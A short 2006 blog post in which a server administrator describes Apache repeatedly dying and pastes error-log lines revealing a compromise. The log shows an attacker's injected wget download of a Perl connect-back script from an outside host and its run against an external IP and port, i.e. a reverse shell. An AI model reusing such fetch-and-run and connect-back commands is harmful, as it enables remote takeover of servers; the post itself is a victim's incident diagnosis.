February 6, 2006

314 words 2 mins read

Apache

I’ve never had this happen to me, and its getting annoying. Aparently apache2 on this server, is dieing randomly. It dies off to the point where there is only one proccess running — which of course doesn’t do anything but prevent my from easily starting the service. Its not a problem to fix, I SSH in, find the one running proccess, kill it, and start apache again. Thats ok, but this seems to KEEP happening — which I dont like at all. First it was just once every month at most, but recently its happened twice within 7 days.

I think I found something in the apache error logs. I’m not sure what to make of it yet (I put it in the extended body of the article if your intrested) — other than I dont like it. I downloaded the PL file it requests — its a connect back script (how nice of them to document it). Obviously something is getting explioted in apache — now to figure out who and how.

[Sat Feb 04 07:42:57 2006] [notice] Apache/2.0.54 (Debian GNU/Linux) PHP/4.4.0-4 mod_perl/2.0.1 Perl/v5.8.7 configured -- resuming normal operations
--08:59:19--  http://c0r3.altervista.org/cbs.pl
  => `cbs.pl'
Resolving c0r3.altervista.org... 207.44.158.25
Connecting to c0r3.altervista.org|207.44.158.25|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 654 [text/plain]

    0K  100%   56.70 MB/s

08:59:19 (56.70 MB/s) - `cbs.pl' saved [654/654]

sh: line 1:  3461 Terminated  perl cbs.pl 81.3.40.55 10002
[Sat Feb 04 11:02:29 2006] [error] server reached MaxClients setting, consider raising the MaxClients setting
[Sat Feb 04 11:07:07 2006] [notice] caught SIGTERM, shutting down
[Sat Feb 04 11:16:17 2006] [notice] Apache/2.0.55 (Debian) PHP/4.4.0-4 mod_perl/2.0.1 Perl/v5.8.7 configured -- resuming normal operations
--14:13:34--  http://c0r3.altervista.org/cbs.pl
  => `cbs.pl'
Resolving c0r3.altervista.org... 207.44.158.25
Connecting to c0r3.altervista.org|207.44.158.25|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 654 [text/plain]

    0K  100%   47.98 MB/s

14:13:34 (47.98 MB/s) - `cbs.pl' saved [654/654]

[Sun Feb 05 06:30:26 2006] [notice] caught SIGTERM, shutting down